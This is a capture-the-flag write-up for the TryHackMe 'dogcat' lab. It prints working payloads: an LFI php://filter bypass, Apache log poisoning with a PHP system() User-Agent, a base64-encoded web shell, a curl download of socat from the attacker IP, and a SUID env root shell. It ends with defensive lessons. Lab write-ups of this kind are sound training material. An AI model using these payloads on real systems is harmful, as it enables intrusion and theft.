Challenge link: https://tryhackme.com/room/dogcat
1. Reconnaissance
First things first, we perform a port scan on the target to discover potential attack vectors:
We do not see anything special besides the HTTP server on port 80 and an SSH service on port 22. We will likely have to find a web vulnerability and using it connect to the server through SSH for privilege escalation.
2. Vulnerable website
The website allows us to see random pictures of dogs and cats. For example, asking to see a dog, we get the following result:
A nice dog for sure, but the URL parameter called view is of particular interest to us. What if we want to see a fox?
Only dogs or cats allowed. All right, what about a dogfish?
Cool, this is enough to confirm that there exists a file inclusion vulnerability, most likely a local file inclusion (LFI), and that some sort of a filter is used that requires a ‘dog’ to be in the view parameter.
Exploiting the LFI vulnerability
From the two warnings displayed, we can conclude that PHP tries to include a file named after the view parameter with the .php extension appended to it. In this case, dogfish.php. We can also see that this operations is being performed from the index.php file. What we can do now is try to read the content of that file by using a php filter that converts its content into a base64 encoding.
Setting the view parameter to:
1  | php://filter/convert.base64-encode/resource=dog/../index  | 
allows us to base64 encode the resource pointed by the path dog/../index.php. We can’t simply point to index.php as we also need to bypass the filter. This is the result:
As expected, the content of the index.php file is returned with the following script inside:
1  | 
  | 
This helps us to further exploit the vulnerability. We can see that by setting another parameter called ext, we can include any file we want. Let us try to read the /etc/passwd file with the following url:
1  | http://<IP>/?view=php://filter/convert.base64-encode/resource=dog/../../../../../../etc/passwd&ext=  | 
It works! However, /etc/shadow is not readable, so trying to crack the password of one of the users is not an option. 
Obtaining code execution
Since we know that the website is run by the Apache server, we can try to read its access log that logs all requests sent to the server, and potentially perform a log injection attack. I googled typical locations of the access log and tried to read a file from /var/log/apache/access.log. It returned an error, so I tried reading from /var/log/apache2/access.log instead. This was a success! The returned file was not small, so let’s focus on one of its entries:
1  | 
  | 
It includes the User-Agent request header which is controlled by us. Since the log can be included in the index.php file, any php code that we manage to insert into this file will be executed. The idea is to specify a User-Agent header that will allow us to execute arbitrary code when including the file. 
Using Burp Suite, we intercept one of the requests, send it to the repeater, and set its User-Agent header to:
1  | system($_GET['command'])  | 

Sending one such a request makes it visible in the access log file. Let us now try to read the /etc/passwd file from the included access log by sending a following request:
1  | http://<IP>/?view=dog/../../../../../../var/log/apache2/access&ext=.log&command=cat%20/etc/passwd  | 
At the bottom of the included file, right in the place of the malicious user agent, the following output is visible that confirms that the code execution works:
To the reverse shell!
I tried to connect back to my machine using the command parameter, but for some reason it did not work. I decided to echo a base64 string to a new php file, decode it, and execute commands from there. We can echo the base64 string using the following parameter:
1  | &command=echo PD9waHAgaWYoaXNzZXQoJF9SRVFVRVNUWydjbWQnXSkpeyBlY2hvICI8cHJlPiI7ICRjbWQgPSAoJF9SRVFVRVNUWydjbWQnXSk7IHN5c3RlbSgkY21kKTsgZWNobyAiPC9wcmU%2BIjsgZGllOyB9Pz4%3D > test.php  | 
Then, decode it using:
1  | &command=cat test.php | base64 -d > c.php  | 
We can now execute commands by calling:
1  | http:/<IP>/c.php?cmd=whoami  | 
Trying out different shells from the very useful revshells.com website, the PHP proc_open with the sh shell connected back to me.
3. Privilege escalation
As shown above with the ls command, the first flag is accessible from the flag.php file located in the same directory as index.php. 
Shell upgrade
To get access to a more convenient shell, I uploaded the socat binary to the victim machine using a Python server.
On the attacker machine (assuming the socat binary is located in the same directory):
1  | python -m http.server 6868  | 
Together with a socat listener:
1  | socat TCP-L:8282 FILE:`tty`,raw,echo=0  | 
On the victim machine:
1  | curl 10.4.46.75:6868/socat > socat  | 
And voila! The upgraded shell is ready:
SUID binary
Next, while looking for a potential attack vector, I found a SUID binary that could be used to spawn a root shell:
1  | find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null  | 
Result:
Confirming with GTFObins, env is vulnerable and can be exploited using:
1  | env /bin/sh -p  | 
Running this command gives us a root shell which can be used to access flag3 located in the root user home directory:
4. Finding other flags
I found the flag2 by simply searching for it with the find tool:
1  | find / -type f -name *flag* 2>/dev/null  | 
It is located in the /var/www directory.
One more layer?
The last flag was not that easy to find. At some point I came across the /opt/backups directory containing a backup.tar archive with files identical to the ones located on the machine and a backup.sh script. The content of the script is the following:
1  | 
  | 
It creates the backup using files from some container directory. This directory is not present in our /root directory. This could indicate that we obtained the root access to a container and not the host machine. Moreover, a .dockerenv file is present in the root directory which points to the same conclusion.
Going back to the backup.sh script. Since it creates a backup of files, it could be that it is run periodically by the host. Being able to write to the file, we can try to inject our own code that will spawn a shell and give us access to the host:
1  | cd /opt/backups  | 
After creating a listener on the attacker machine and waiting for a moment, a successful connection was created that revelead the last flag:
5. Lessons learned
The LFI vulnerabilities can be prevented by not trusting user input when deciding on what files should be included. Otherwise, we could check if a file to be included is located in the allowed directory or if it is allowed by the server.
Furthermore, a proper configuration of the server would prevent setting the SUID permission on a binary that can be used to spawn a privileged shell. Regular penetration tests or simpler tests using automated tools are also advised to ensure high difficulty of privilege escalation. Lastly, any scripts run with root permissions or by container hosts should not be writable by less privileged users.